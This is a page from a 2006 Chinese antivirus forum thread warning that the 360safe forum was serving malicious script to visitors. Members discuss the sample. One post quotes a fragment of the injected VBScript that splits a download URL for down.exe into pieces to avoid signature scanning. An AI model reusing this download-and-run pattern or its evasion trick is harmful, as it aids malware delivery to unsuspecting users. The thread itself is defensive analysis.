瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 警报360safe坛子被挂马了，各位小心

1234   2  /  4  页   跳转页

警报360safe坛子被挂马了，各位小心

收藏
雅培流星
头像
初生襁褓狮
  • 帖子:1
  • 注册: 2006-12-12
  • 来自:
发表于： 2006-12-12 12:01 | 短消息 资料
字号： 小 中 大 11楼

!!!!!@!!!!!
gototop
 
deadmanzj
头像
特邀体验者
  • 帖子:2592
  • 注册: 2006-07-24
  • 来自:
发表于： 2006-12-12 12:35 | 短消息 资料
字号： 小 中 大 12楼

请楼上的几个说话不要带讽刺，玛玛虽然不是反病毒的斑竹，但是她的反病毒实力绝对不用怀疑！！~~
gototop
 
闪电风暴
头像
特邀体验者
  • 帖子:5462
  • 注册: 2005-01-12
  • 来自:0GiNr
发表于： 2006-12-12 13:09 | 短消息 资料
字号： 小 中 大 13楼

学习了!


那个down.exe是下载器还是木马本身?
gototop
 
闪电风暴
头像
特邀体验者
  • 帖子:5462
  • 注册: 2005-01-12
  • 来自:0GiNr
发表于： 2006-12-12 13:12 | 短消息 资料
字号： 小 中 大 14楼

那个VBScript好像藏匿着什么...

url1="h
ttp://"
url2="zq101020.a89.zgsj.com/"
url3="down.ex
e"
dl=url1&url2&url3


其实与d1="hxxp://zq101020.a89.zgsj.com/down.exe"是相同的,估计是为了防止杀毒软件特征扫描吧.
gototop
 
闪电风暴
头像
特邀体验者
  • 帖子:5462
  • 注册: 2005-01-12
  • 来自:0GiNr
发表于： 2006-12-12 13:13 | 短消息 资料
字号： 小 中 大 15楼

引用:
【西门大哥的贴子】版主!!???kaka的版主都一个个超水平啊...这个也置顶...不会告诉大家那个是你挂的吧
………………

你什么意思?!
gototop
 
玻璃钢耗子
头像
强壮不惑狮
  • 帖子:1147
  • 注册: 2004-11-24
  • 来自:
发表于： 2006-12-12 13:49 | 短消息 资料
字号： 小 中 大 16楼

说风凉话有意思吗？
gototop
 
9527*
头像
叱咤花甲狮
  • 帖子:5208
  • 注册: 2004-04-19
  • 来自:
发表于： 2006-12-12 14:00 | 短消息 资料
字号： 小 中 大 17楼

是JS加密的
gototop
 
艾玛
头像
大版主
  • 帖子:18894
  • 注册: 2004-01-01
  • 来自:
卡卡名人堂论坛9周年纪念
发表于： 2006-12-12 14:06 | 只看楼主 短消息 资料
字号： 小 中 大 18楼

引用:
【9527*的贴子】是JS加密的
………………


hi,好久未见来了。给个联系方式
gototop
 
baohe
头像
大版主
  • 帖子:72578
  • 注册: 2003-04-10
  • 来自:
年度优秀版主奖端午辟邪香囊卡卡名人堂就爱不长大论坛9周年纪念09欢乐圣诞十周年年度风云人物2012我眼中的你们茶馆劳模瑞星金牌用户十一周年勋章
发表于： 2006-12-12 14:11 | 短消息 资料
字号： 小 中 大 19楼

引用:
【闪电风暴的贴子】
你什么意思?!
………………

有些人总喜欢自以为是。我见的多了。
不必在意。
那个网页上的木马样本——我已经拿到了。瑞星今天的病毒库报其中一个（svchost.exe）。
360网页有马，不仅仅是“艾玛”一个人提到此事。“网警”也提到了——http://bbs.hzva.org/viewthread.php?tid=30841&fpage=1
gototop
 
vv123vv
头像
初生襁褓狮
  • 帖子:219
  • 注册: 2005-12-15
  • 来自:
发表于： 2006-12-12 14:42 | 短消息 资料
字号： 小 中 大 20楼

怎么预防啊
gototop
 
<<上一主题|下一主题>>
1234   2  /  4  页   跳转页
页面顶部
Powered by Discuz!NT